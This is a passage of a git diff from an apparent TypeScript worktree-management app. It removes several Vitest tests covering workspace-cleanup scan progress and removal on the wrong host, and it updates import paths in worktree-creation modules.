-      expect.objectContaining({ executionHostId: 'ssh:ssh-1' })
-    ])
-  })
-
-  it('keeps Ignore and Stop ignoring across later streamed frames', async () => {
-    const pending = deferred<WorkspaceCleanupScanResult>()
-    let onProgress: ((progress: WorkspaceCleanupScanProgress) => void) | undefined
-    const scan = vi.fn((_args, progressCallback) => {
-      onProgress = progressCallback
-      return pending.promise
-    })
-    installWorkspaceCleanupApi(scan)
-    const store = createCleanupTestStore()
-    const first = makeCandidate({ worktreeId: 'repo1::/tmp/first' })
-    const frame = (count: number, worktreeId: string): void =>
-      onProgress?.({
-        scanId: 'scan-1',
-        scannedAt: NOW,
-        scannedWorktreeCount: count,
-        totalWorktreeCount: 3,
-        candidates: [makeCandidate({ worktreeId })],
-        errors: [],
-        candidateMode: 'append'
-      })
-    const firstBlockers = (): readonly string[] | undefined =>
-      store
-        .getState()
-        .workspaceCleanupScan?.candidates.find((c) => c.worktreeId === first.worktreeId)?.blockers
-
-    const scanPromise = store.getState().scanWorkspaceCleanup()
-    frame(1, first.worktreeId)
-    await vi.waitFor(() => expect(firstBlockers()).toEqual([]))
-
-    await store.getState().dismissWorkspaceCleanupCandidates([first])
-    frame(2, 'repo1::/tmp/second')
-    await vi.waitFor(() =>
-      expect(store.getState().workspaceCleanupScan?.candidates).toHaveLength(2)
-    )
-    expect(firstBlockers()).toEqual(['dismissed'])
-
-    await store.getState().restoreWorkspaceCleanupCandidates([first])
-    frame(3, 'repo1::/tmp/third')
-    await vi.waitFor(() =>
-      expect(store.getState().workspaceCleanupScan?.candidates).toHaveLength(3)
-    )
-    expect(firstBlockers()).toEqual([])
-
-    pending.resolve({ scannedAt: NOW, candidates: [], errors: [] })
-    await scanPromise
-  })
-
-  it('keeps append progress rows when terminal enrichment resolves out of order', async () => {
-    const pending = deferred<WorkspaceCleanupScanResult>()
-    const terminalProbe = deferred<boolean>()
-    let onProgress: ((progress: WorkspaceCleanupScanProgress) => void) | undefined
-    const terminalCandidate = makeCandidate({ worktreeId: 'repo1::/tmp/terminal' })
-    const laterCandidate = makeCandidate({ worktreeId: 'repo1::/tmp/later' })
-    const scan = vi.fn((_args, progressCallback) => {
-      onProgress = progressCallback
-      return pending.promise
-    })
-    installWorkspaceCleanupApi(scan)
-    const hasChildProcesses = vi.fn().mockReturnValue(terminalProbe.promise)
-    const getForegroundProcess = vi.fn().mockResolvedValue('zsh')
-    ;(
-      globalThis.window as unknown as {
-        api: {
-          pty?: {
-            hasChildProcesses: typeof hasChildProcesses
-            getForegroundProcess: typeof getForegroundProcess
-          }
-        }
-      }
-    ).api.pty = { hasChildProcesses, getForegroundProcess }
-    const store = createCleanupTestStore()
-    store.setState({
-      tabsByWorktree: {
-        'repo1::/tmp/terminal': [
-          { id: 'tab-1', title: 'zsh' }
-        ] as AppState['tabsByWorktree'][string]
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-1'] }
-    } as Partial<AppState>)
-
-    const scanPromise = store.getState().scanWorkspaceCleanup()
-    onProgress?.({
-      scanId: 'scan-1',
-      scannedAt: NOW,
-      scannedWorktreeCount: 1,
-      totalWorktreeCount: 2,
-      candidates: [terminalCandidate],
-      errors: [],
-      candidateMode: 'append'
-    })
-    await vi.waitFor(() => {
-      expect(hasChildProcesses).toHaveBeenCalledTimes(1)
-    })
-
-    onProgress?.({
-      scanId: 'scan-1',
-      scannedAt: NOW,
-      scannedWorktreeCount: 2,
-      totalWorktreeCount: 2,
-      candidates: [laterCandidate],
-      errors: [],
-      candidateMode: 'append'
-    })
-    await Promise.resolve()
-    expect(store.getState().workspaceCleanupProgress).toBeNull()
-
-    terminalProbe.resolve(false)
-    await vi.waitFor(() => {
-      expect(store.getState().workspaceCleanupProgress?.scannedWorktreeCount).toBe(2)
-    })
-    expect(
-      store.getState().workspaceCleanupScan?.candidates.map((candidate) => candidate.worktreeId)
-    ).toEqual(['repo1::/tmp/terminal', 'repo1::/tmp/later'])
-
-    pending.resolve({
-      scannedAt: NOW,
-      candidates: [terminalCandidate, laterCandidate],
-      errors: []
-    })
-    await scanPromise
-  })
-
-  it('drains queued progress before publishing the final scan result', async () => {
-    const pending = deferred<WorkspaceCleanupScanResult>()
-    const terminalProbe = deferred<boolean>()
-    let scanSettled = false
-    let onProgress: ((progress: WorkspaceCleanupScanProgress) => void) | undefined
-    const terminalCandidate = makeCandidate({ worktreeId: 'repo1::/tmp/terminal' })
-    const finalCandidate = makeCandidate({ worktreeId: 'repo1::/tmp/final' })
-    const scan = vi.fn((_args, progressCallback) => {
-      onProgress = progressCallback
-      return pending.promise
-    })
-    installWorkspaceCleanupApi(scan)
-    const hasChildProcesses = vi.fn().mockReturnValue(terminalProbe.promise)
-    const getForegroundProcess = vi.fn().mockResolvedValue('zsh')
-    ;(
-      globalThis.window as unknown as {
-        api: {
-          pty?: {
-            hasChildProcesses: typeof hasChildProcesses
-            getForegroundProcess: typeof getForegroundProcess
-          }
-        }
-      }
-    ).api.pty = { hasChildProcesses, getForegroundProcess }
-    const store = createCleanupTestStore()
-    store.setState({
-      tabsByWorktree: {
-        'repo1::/tmp/terminal': [
-          { id: 'tab-1', title: 'zsh' }
-        ] as AppState['tabsByWorktree'][string]
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-1'] }
-    } as Partial<AppState>)
-
-    const scanPromise = store
-      .getState()
-      .scanWorkspaceCleanup()
-      .finally(() => {
-        scanSettled = true
-      })
-    onProgress?.({
-      scanId: 'scan-1',
-      scannedAt: NOW,
-      scannedWorktreeCount: 1,
-      totalWorktreeCount: 2,
-      candidates: [terminalCandidate],
-      errors: [],
-      candidateMode: 'append'
-    })
-    await vi.waitFor(() => {
-      expect(hasChildProcesses).toHaveBeenCalledTimes(1)
-    })
-
-    pending.resolve({
-      scannedAt: NOW,
-      candidates: [finalCandidate],
-      errors: []
-    })
-    await Promise.resolve()
-    expect(scanSettled).toBe(false)
-
-    terminalProbe.resolve(false)
-    await scanPromise
-    expect(scanSettled).toBe(true)
-
-    expect(
-      store.getState().workspaceCleanupScan?.candidates.map((candidate) => candidate.worktreeId)
-    ).toEqual(['repo1::/tmp/final'])
-    expect(hasChildProcesses).toHaveBeenCalledTimes(1)
-    expect(store.getState().workspaceCleanupProgress).toMatchObject({
-      scannedWorktreeCount: 1,
-      totalWorktreeCount: 1
-    })
-  })
-
   it('ignores stale progress without replacing the active scan progress queue', async () => {
     const firstPending = deferred<WorkspaceCleanupScanResult>()
     const secondPending = deferred<WorkspaceCleanupScanResult>()
diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal-guard.test.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal-guard.test.ts
index f855542cf88..95212ef4d2a 100644
--- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal-guard.test.ts
+++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal-guard.test.ts
@@ -228,95 +228,10 @@ describe('STA-4343: cleanup deletes on the confirmed host, never the active one'
 import * as launchDrafts from '@/components/native-chat/drafts/native-chat-draft-reset'
 import * as launchDraftsOwner1 from '@/components/native-chat/drafts/native-chat-launch-draft-source'
 import * as launchDraftsOwner2 from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import * as launchDraftsOwner3 from '@/components/native-chat/drafts/native-chat-composer-draft-memory'
 import * as launchDraftsOwner4 from '@/components/native-chat/drafts/native-chat-composer-draft-load'
 import * as launchDraftsOwner5 from '@/components/native-chat/drafts/native-chat-composer-draft-persistence'
 import * as pendingChips from '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache'
 
-it.each([
-  { mode: 'normal', twin: true, preserved: false },
-  { mode: 'force', twin: true, preserved: true },
-  { mode: 'forget-local', twin: true, preserved: false },
-  { mode: 'normal', twin: false, preserved: false },
-  { mode: 'postcommit-error', twin: false, preserved: false }
-])(
-  'actual $mode removal revokes the return writer before postcommit work, twin=$twin preserved=$preserved',
-  async ({ mode, twin, preserved }) => {
-    launchDrafts.clearNativeChatComposerDraftsForTests()
-    pendingChips.clearNativeChatPendingAttachmentsForTests()
-    const store = createTestStore()
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({ id: WORKTREE_ID, repoId: 'repo1', hostId: 'local' }),
-          ...(twin
-            ? [makeWorktree({ id: WORKTREE_ID, repoId: 'repo1', hostId: HOST_B_HOST_ID })]
-            : [])
-        ]
-      }
-    })
-    const scope = launchDraftsOwner1.nativeChatLaunchPromptDraftScopeKey(
-      WORKTREE_ID,
-      'codex',
-      'local'
-    )
-    const other = launchDraftsOwner1.nativeChatLaunchPromptDraftScopeKey(
-      WORKTREE_ID,
-      'codex',
-      HOST_B_HOST_ID
-    )
-    launchDraftsOwner2.updateNativeChatComposerDraft(scope, { text: 'old task' }, 'immediate')
-    launchDraftsOwner2.updateNativeChatComposerDraft(
-      other,
-      { text: 'other host task' },
-      'immediate'
-    )
-    const attempt = launchDraftsOwner3.captureNativeChatComposerSubmission(scope)
-    launchDraftsOwner2.updateNativeChatComposerDraft(scope, { text: '' }, 'immediate')
-    pendingChips.addNativeChatPendingAttachment(scope, { id: 'old-chip', path: '', pending: true })
-    mockApi.worktrees.remove.mockRejectedValueOnce(new Error('dirty worktree'))
-    expect(
-      (await store.getState().removeWorktree({ id: WORKTREE_ID, executionHostId: 'local' })).ok
-    ).toBe(false)
-    expect(attempt.draft?.text).toBe('old task')
-    const result = preserved ? { preservedBranch: { branchName: 'keep', head: 'abc123' } } : {}
-    mockApi.worktrees.remove.mockResolvedValue(result)
-    mockApi.worktrees.forgetLocal.mockResolvedValue(result)
-    if (mode === 'postcommit-error') {
-      store.setState({
-        shutdownWorktreeBrowsers: vi.fn(async () => {
-          expect(attempt.draft).toBeUndefined()
-          throw new Error('postcommit housekeeping failed')
-        })
-      })
-    }
-    const removal = await store
-      .getState()
-      .removeWorktree(
-        { id: WORKTREE_ID, executionHostId: 'local' },
-        mode === 'force',
-        mode === 'forget-local' ? { mode: 'forget-local' } : undefined
-      )
-    expect(removal.ok).toBe(mode !== 'postcommit-error')
-    expect(attempt.draft).toBeUndefined()
-    expect(pendingChips.nativeChatPendingAttachmentSnapshot(scope)).toHaveLength(twin ? 1 : 0)
-    const freshScope = launchDraftsOwner1.nativeChatLaunchPromptDraftScopeKey(
-      WORKTREE_ID,
-      'codex',
-      'local'
-    )
-    launchDraftsOwner2.updateNativeChatComposerDraft(
-      freshScope,
-      { text: 'new lifetime' },
-      'immediate'
-    )
-    launchDraftsOwner2.finishNativeChatComposerSubmission(scope, attempt, true)
-    expect(pendingChips.takeNativeChatPendingAttachment(scope, 'old-chip') !== undefined).toBe(twin)
-    expect(launchDraftsOwner2.readNativeChatComposerDraft(freshScope).text).toBe('new lifetime')
-    expect(launchDraftsOwner2.readNativeChatComposerDraft(other).text).toBe('other host task')
-  }
-)
-
 import {
   createMemoryNativeChatComposerDraftStorage,
   setNativeChatComposerDraftStorageForTests
diff --git a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal.test.ts b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal.test.ts
index 9287b885335..22126906a82 100644
--- a/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal.test.ts
+++ b/src/renderer/src/store/slices/workspace-cleanup/workspace-cleanup-wrong-host-removal.test.ts
@@ -1,15 +1,9 @@
 import type * as RuntimeRpcCallModule from '@/runtime/rpc/calls/runtime-rpc-call'
-/** Cleanup must delete the confirmed host’s same-ID workspace (STA-4343). Transport fakes delete real per-host directories; assert one survives and one is gone across local/SSH/runtime and active-host controls so inert or indiscriminate deletion cannot pass. */
 import { describe, expect, it, vi, beforeEach, afterEach } from 'vitest'
-import * as fs from 'node:fs'
-import * as os from 'node:os'
-import * as path from 'node:path'
 import type { ExecutionHostId } from '../../../../../shared/execution-host'
 
-const NOW = 1_700_000_000_000
 const HOST_A_HOST_ID: ExecutionHostId = 'local'
 const HOST_B_HOST_ID: ExecutionHostId = 'ssh:ssh-1'
-const HOST_B_RUNTIME_HOST_ID: ExecutionHostId = 'runtime:hub-1'
 
 const mockApi = {
   worktrees: {
@@ -48,11 +42,6 @@ import { makeTab } from '../../terminals/terminal-tab.test-fixture'
 import { makeWorktree } from '../worktrees/worktree.test-fixture'
 import { resetAuthoritativelyRemovedWorktreeMemoryForTests } from '../worktrees/listing/authoritative-worktree-removal-memory'
 import type { AppState } from '../../types'
-import type {
-  WorkspaceCleanupCandidate,
-  WorkspaceCleanupScanResult
-} from '../../../../../shared/workspace-cleanup/workspace-cleanup'
-import { getWorkspaceCleanupCandidateIdentity } from '../../../../../shared/workspace-cleanup/workspace-cleanup-host-identity'
 import type { DetectedWorktree, Worktree } from '../../../../../shared/worktree/types'
 
 function makeDetectedWorktree(
@@ -66,131 +55,8 @@ function makeDetectedWorktree(
   }
 }
 
-function makeHostCandidate(
-  worktreeId: string,
-  executionHostId: ExecutionHostId | undefined,
-  worktreePath: string,
-  connectionId: string | null = executionHostId === HOST_B_HOST_ID ? 'ssh-1' : null
-): WorkspaceCleanupCandidate {
-  return {
-    worktreeId,
-    repoId: 'repo1',
-    repoName: 'Repo 1',
-    connectionId,
-    ...(executionHostId ? { executionHostId } : {}),
-    displayName: 'shared-workspace',
-    branch: 'old-branch',
-    path: worktreePath,
-    tier: 'ready',
-    selectedByDefault: true,
-    reasons: ['idle-clean'],
-    blockers: [],
-    lastActivityAt: NOW - 30 * 24 * 60 * 60 * 1000,
-    localContext: {
-      terminalTabCount: 0,
-      cleanEditorTabCount: 0,
-      browserTabCount: 0,
-      diffCommentCount: 0,
-      newestDiffCommentAt: null,
-      retainedDoneAgentCount: 0
-    },
-    git: {
-      clean: true,
-      upstreamAhead: 0,
-      upstreamBehind: 0,
-      checkedAt: NOW
-    },
-    fingerprint: `fingerprint-${executionHostId ?? 'unqualified'}`
-  }
-}
-
-function parseIdentityPath(worktreeId: string): string {
-  const separatorIndex = worktreeId.indexOf('::')
-  return worktreeId.slice(separatorIndex + 2)
-}
-
-/** Maps a workspace id onto a per-host temp directory; Windows ids keep their shape. */
-function toHostRelativePath(worktreeId: string): string {
-  return parseIdentityPath(worktreeId)
-    .replace(/^[a-zA-Z]:/, '')
-    .split(/[/\\]+/)
-    .filter((segment) => segment.length > 0)
-    .join(path.sep)
-}
-
-type HostDirectories = {
-  hostARoot: string
-  hostBRoot: string
-  hostAMarkerPath: string
-  hostBMarkerPath: string
-}
-
 const hostDirCleanup: (() => void)[] = []
 
-function createHostDirectories(worktreeId: string): HostDirectories {
-  const hostARoot = fs.mkdtempSync(path.join(os.tmpdir(), 'sta4343-host-a-'))
-  const hostBRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'sta4343-host-b-'))
-  hostDirCleanup.push(() => {
-    fs.rmSync(hostARoot, { recursive: true, force: true })
-    fs.rmSync(hostBRoot, { recursive: true, force: true })
-  })
-  const relativePath = toHostRelativePath(worktreeId)
-  const hostAWorktreeDir = path.join(hostARoot, relativePath)
-  const hostBWorktreeDir = path.join(hostBRoot, relativePath)
-  fs.mkdirSync(hostAWorktreeDir, { recursive: true })
-  fs.mkdirSync(hostBWorktreeDir, { recursive: true })
-  const hostAMarkerPath = path.join(hostAWorktreeDir, 'HOST_A_MARKER')
-  const hostBMarkerPath = path.join(hostBWorktreeDir, 'HOST_B_MARKER')
-  fs.writeFileSync(hostAMarkerPath, 'uncommitted-data-on-host-a')
-  fs.writeFileSync(hostBMarkerPath, 'uncommitted-data-on-host-b')
-  return { hostARoot, hostBRoot, hostAMarkerPath, hostBMarkerPath }
-}
-
-function parseRuntimeSelector(selector: string): string {
-  return selector.startsWith('id:') ? selector.slice('id:'.length) : selector
-}
-
-/** Deletes for real on whichever host the removal is routed to. */
-function installRemovalTransports(
-  hostRootsByHostId: Record<string, string>,
-  routedHostIds: string[],
-  options: { preservedBranch?: { branchName: string; head: string } } = {}
-): void {
-  const deleteOnHost = (hostId: string | undefined, worktreeId: string): void => {
-    routedHostIds.push(hostId ?? '<missing>')
-    const hostRoot = hostId ? hostRootsByHostId[hostId] : undefined
-    if (hostRoot) {
-      fs.rmSync(path.join(hostRoot, toHostRelativePath(worktreeId)), {
-        recursive: true,
-        force: true
-      })
-    }
-  }
-  mockApi.worktrees.remove.mockImplementation(
-    async (args: { worktreeId: string; hostId?: string }) => {
-      deleteOnHost(args.hostId, args.worktreeId)
-      return options.preservedBranch ? { preservedBranch: options.preservedBranch } : { ok: true }
-    }
-  )
-  runtimeRpc.callRuntimeRpc.mockImplementation(
-    async (_target: unknown, method: string, params: { hostId?: string; worktree?: string }) => {
-      if (method !== 'worktree.rm') {
-        return { hasHooks: false, hooks: null, mayNeedUpdate: false }
-      }
-      deleteOnHost(params.hostId, parseRuntimeSelector(params.worktree ?? ''))
-      return { removed: true }
-    }
-  )
-}
-
-function seedCollidingScan(candidates: readonly WorkspaceCleanupCandidate[]): void {
-  mockApi.workspaceCleanup.scan.mockResolvedValue({
-    scannedAt: NOW,
-    candidates: [...candidates],
-    errors: []
-  } satisfies WorkspaceCleanupScanResult)
-}
-
 beforeEach(() => {
   resetAuthoritativelyRemovedWorktreeMemoryForTests()
   mockApi.ephemeralVm.listRuntimes.mockResolvedValue([])
@@ -205,89 +71,6 @@ afterEach(() => {
 })
 
 describe('STA-4343 wrong-host cleanup removal (git worktree identity)', () => {
-  it('confirming host B row deletes host B and leaves ACTIVE host A intact', async () => {
-    const worktreeId = 'repo1::/shared/workspace/path'
-    const worktreePath = '/shared/workspace/path'
-    const hosts = createHostDirectories(worktreeId)
-    const routedHostIds: string[] = []
-    installRemovalTransports(
-      { [HOST_A_HOST_ID]: hosts.hostARoot, [HOST_B_HOST_ID]: hosts.hostBRoot },
-      routedHostIds
-    )
-    const hostBCandidate = makeHostCandidate(worktreeId, HOST_B_HOST_ID, worktreePath)
-    seedCollidingScan([makeHostCandidate(worktreeId, HOST_A_HOST_ID, worktreePath), hostBCandidate])
-
-    const store = createTestStore()
-    // Host A owns the ACTIVE workspace, so removal routing used to prefer host A.
-    seedStore(store, {
-      activeWorktreeId: worktreeId,
-      activeWorkspaceExecutionHostId: HOST_A_HOST_ID,
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo1',
-            path: worktreePath,
-            hostId: HOST_A_HOST_ID
-          }),
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo1',
-            path: worktreePath,
-            hostId: HOST_B_HOST_ID
-          })
-        ]
-      },
-      detectedWorktreesByRepo: {
-        repo1: {
-          repoId: 'repo1',
-          authoritative: true,
-          source: 'git',
-          worktrees: [
-            makeDetectedWorktree({
-              id: worktreeId,
-              repoId: 'repo1',
-              path: worktreePath,
-              hostId: HOST_A_HOST_ID
-            }),
-            makeDetectedWorktree({
-              id: worktreeId,
-              repoId: 'repo1',
-              path: worktreePath,
-              hostId: HOST_B_HOST_ID
-            })
-          ]
-        }
-      },
-      tabsByWorktree: {
-        [worktreeId]: [makeTab({ id: 'host-a-tab', worktreeId })]
-      }
-    } as Partial<AppState>)
-
-    const removal = await store
-      .getState()
-      .removeWorkspaceCleanupCandidates([worktreeId], { approvedCandidates: [hostBCandidate] })
-
-    expect(removal.removedIds).toEqual([worktreeId])
-    expect(removal.failures).toEqual([])
-    expect(
-      fs.existsSync(hosts.hostAMarkerPath),
-      `HOST A (active) worktree directory must still exist after confirming HOST B's row. worktrees.remove was routed to hostId=${routedHostIds.join(',')}`
-    ).toBe(true)
-    expect(
-      fs.existsSync(hosts.hostBMarkerPath),
-      'HOST B (confirmed) worktree directory must be gone'
-    ).toBe(false)
-    expect(routedHostIds).toEqual([HOST_B_HOST_ID])
-    expect(store.getState().worktreesByRepo.repo1).toEqual([
-      expect.objectContaining({ id: worktreeId, hostId: HOST_A_HOST_ID })
-    ])
-    expect(store.getState().tabsByWorktree[worktreeId]).toEqual([
-      expect.objectContaining({ id: 'host-a-tab' })
-    ])
-    expect(store.getState().activeWorktreeId).toBe(worktreeId)
-  })
-
   it('preserves a same-id host row published while removal is in flight', async () => {
     const worktreeId = 'repo1::/shared/workspace/path'
     const worktreePath = '/shared/workspace/path'
@@ -343,134 +126,4 @@ describe('STA-4343 wrong-host cleanup removal (git worktree identity)', () => {
       expect.objectContaining({ id: 'arriving-host-tab' })
     ])
   })
-
-  it('tears down shared state when cleanup confirms both same-id host rows', async () => {
-    const worktreeId = 'repo1::/shared/workspace/path'
-    const worktreePath = '/shared/workspace/path'
-    const hosts = createHostDirectories(worktreeId)
-    const routedHostIds: string[] = []
-    installRemovalTransports(
-      { [HOST_A_HOST_ID]: hosts.hostARoot, [HOST_B_HOST_ID]: hosts.hostBRoot },
-      routedHostIds
-    )
-    const hostACandidate = makeHostCandidate(worktreeId, HOST_A_HOST_ID, worktreePath)
-    const hostBCandidate = makeHostCandidate(worktreeId, HOST_B_HOST_ID, worktreePath)
-    seedCollidingScan([hostACandidate, hostBCandidate])
-
-    const store = createTestStore()
-    seedStore(store, {
-      activeWorktreeId: worktreeId,
-      activeWorkspaceExecutionHostId: HOST_A_HOST_ID,
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo1',
-            path: worktreePath,
-            hostId: HOST_A_HOST_ID
-          }),
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo1',
-            path: worktreePath,
-            hostId: HOST_B_HOST_ID
-          })
-        ]
-      },
-      detectedWorktreesByRepo: {
-        repo1: {
-          repoId: 'repo1',
-          authoritative: true,
-          source: 'git',
-          worktrees: [
-            makeDetectedWorktree({
-              id: worktreeId,
-              repoId: 'repo1',
-              path: worktreePath,
-              hostId: HOST_A_HOST_ID
-            }),
-            makeDetectedWorktree({
-              id: worktreeId,
-              repoId: 'repo1',
-              path: worktreePath,
-              hostId: HOST_B_HOST_ID
-            })
-          ]
-        }
-      },
-      workspaceCleanupScan: {
-        scannedAt: NOW,
-        candidates: [hostACandidate, hostBCandidate],
-        errors: []
-      },
-      tabsByWorktree: { [worktreeId]: [makeTab({ id: 'shared-tab', worktreeId })] }
-    } as Partial<AppState>)
-
-    const removal = await store
-      .getState()
-      .removeWorkspaceCleanupCandidates([worktreeId, worktreeId], {
-        approvedCandidates: [hostACandidate, hostBCandidate]
-      })
-
-    expect(removal.failures).toEqual([])
-    expect(removal.removedIdentities).toEqual([
-      getWorkspaceCleanupCandidateIdentity(hostACandidate),
-      getWorkspaceCleanupCandidateIdentity(hostBCandidate)
-    ])
-    expect(new Set(routedHostIds)).toEqual(new Set([HOST_A_HOST_ID, HOST_B_HOST_ID]))
-    expect(fs.existsSync(hosts.hostAMarkerPath)).toBe(false)
-    expect(fs.existsSync(hosts.hostBMarkerPath)).toBe(false)
-    expect(store.getState().tabsByWorktree[worktreeId]).toBeUndefined()
-    expect(store.getState().activeWorktreeId).toBeNull()
-  })
-})
-
-describe('STA-4343 wrong-host cleanup removal (paired runtime host)', () => {
-  // Older paired hosts may discard hostId and delete another same-ID owner; refuse collisions until capability proves host-qualified routing.
-  it('refuses a colliding removal over the paired transport rather than trusting it', async () => {
-    const worktreeId = 'repo1::/shared/workspace/path'
-    const worktreePath = '/shared/workspace/path'
-    const hosts = createHostDirectories(worktreeId)
-    const routedHostIds: string[] = []
-    installRemovalTransports(
-      { [HOST_A_HOST_ID]: hosts.hostARoot, [HOST_B_RUNTIME_HOST_ID]: hosts.hostBRoot },
-      routedHostIds
-    )
-    const hostBCandidate = makeHostCandidate(worktreeId, HOST_B_RUNTIME_HOST_ID, worktreePath, null)
-    seedCollidingScan([makeHostCandidate(worktreeId, HOST_A_HOST_ID, worktreePath), hostBCandidate])
-
-    const store = createTestStore()
-    seedStore(store, {
-      activeWorktreeId: worktreeId,
-      activeWorkspaceExecutionHostId: HOST_A_HOST_ID,
-      // BOTH owners visible to the client: this is the collision the remote host
-      // would have to disambiguate from `hostId` alone.
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo1',
-            path: worktreePath,
-            hostId: HOST_A_HOST_ID
-          }),
-          makeWorktree({
-            id: worktreeId,
-            repoId: 'repo1',
-            path: worktreePath,
-            hostId: HOST_B_RUNTIME_HOST_ID
-          })
-        ]
-      }
-    } as Partial<AppState>)
-
-    const removal = await store
-      .getState()
-      .removeWorkspaceCleanupCandidates([worktreeId], { approvedCandidates: [hostBCandidate] })
-
-    expect(removal.removedIds).toEqual([])
-    expect(removal.failures[0]?.message).toContain('exists on multiple hosts')
-    expect(routedHostIds).toEqual([])
-    expect(fs.existsSync(hosts.hostAMarkerPath), 'local host A must survive').toBe(true)
-    expect(fs.existsSync(hosts.hostBMarkerPath), 'runtime host B must survive').toBe(true)
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
index 98b3e710451..32c6785f413 100644
--- a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
+++ b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
@@ -42,7 +42,7 @@ import {
   type WorktreeCreateAttempt,
   type WorktreeCreateRequest
 } from './worktree-create-payload'
-import { holdCreatedSidebarWorkspace } from '@/lib/sidebar-pending-layer'
+import { holdCreatedSidebarWorkspace } from '@/components/sidebar/sidebar-feed/sidebar-pending-layer'
 import {
   resolveCreateCrossStoreParent,
   withoutRefusedInferredParent
diff --git a/src/renderer/src/store/slices/worktrees/create/local-base-ref-refresh-toast.tsx b/src/renderer/src/store/slices/worktrees/create/local-base-ref-refresh-toast.tsx
index 1a6e7498679..780fe49a752 100644
--- a/src/renderer/src/store/slices/worktrees/create/local-base-ref-refresh-toast.tsx
+++ b/src/renderer/src/store/slices/worktrees/create/local-base-ref-refresh-toast.tsx
@@ -4,7 +4,7 @@ import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { getKeepLocalMainUpToDateTitle } from '@/components/settings/source-control/keep-local-main-up-to-date-setting'
 import { translate } from '@/i18n/i18n'
-import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
+import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name'
 import type { AppState } from '@/store/types'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import type { LocalBaseRefRefreshResult } from '../../../../../../shared/worktree/base-ref-drift-types'
diff --git a/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts b/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts
index 68ff5d39af6..45ae0788119 100644
--- a/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts
+++ b/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts
@@ -2,7 +2,7 @@ import type { WorktreeSlice } from '../worktree-slice-contract'
 import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
 import type { AppState } from '../../../types'
 import { cleanupFailedEphemeralVmWorkspace } from '@/runtime/ephemeral-vm/ephemeral-vm-failed-create-cleanup'
-import { endWindowCreation } from '@/lib/sidebar-ended-creations'
+import { endWindowCreation } from '@/components/sidebar/sidebar-feed/sidebar-ended-creations'
 import { settleVmCreateCheckoutAfterCleanup } from '@/runtime/ephemeral-vm/vm-create-hidden-checkouts'
 import { cancelVmEnvironmentCheck } from '@/runtime/ephemeral-vm/ephemeral-vm-environment-check-decision'
 import {
diff --git a/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts b/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts
index 02cd623e3a4..66bdf6fdaf6 100644
--- a/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts
+++ b/src/renderer/src/store/slices/worktrees/create/worktree-create-parent-pick.ts
@@ -1,14 +1,12 @@
-import type { AppState } from '../../../types'
-
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
-import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
+import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name'
 import {
-  type WorkspaceKey,
   folderWorkspaceKey,
   parseWorkspaceKey,
   worktreeWorkspaceKey
 } from '../../../../../../shared/workspace-scope'
+import type { WorkspaceKey } from '../../../../../../shared/workspace-scope'
 import {
   getIndexedAllWorktrees,
   getIndexedWorktreesById
@@ -17,14 +15,9 @@ import {
   getWorktreeHostIdentity,
   isWorktreeHostIdentity
 } from '../../../../../../shared/worktree/host-qualified-identity'
-import type { Worktree } from '../../../../../../shared/worktree/types'
-import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
-import type { CreatedWorktreeResult } from './worktree-create-payload'
-import { resolveReviewRepository } from '@/lib/review-owner'
-import {
-  getRepoExecutionHostId,
-  type ExecutionHostId
-} from '../../../../../../shared/execution-host'
+import { resolveReviewRepository } from '@/lib/source-control/review/review-owner'
+import { getRepoExecutionHostId } from '../../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { findFolderWorkspaceRecord } from '../../../folder-workspaces/folder-workspace-record-index'
 import {
   selectFolderWorkspaces,
@@ -32,6 +25,10 @@ import {
 } from '../../../workspaces/catalog/workspace-record-fields'
 import { getFolderWorkspaceWorktree } from '../../../../../../shared/folder-workspaces/folder-workspace-worktree'
 import { lineageStoreKeyOfRow } from '../../../../../../shared/worktree/cross-store-lineage-resolution'
+import type { AppState } from '../../../types'
+import type { Worktree } from '../../../../../../shared/worktree/types'
+import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
+import type { CreatedWorktreeResult } from './worktree-create-payload'
 
 export type CreateAttemptOutcome = {
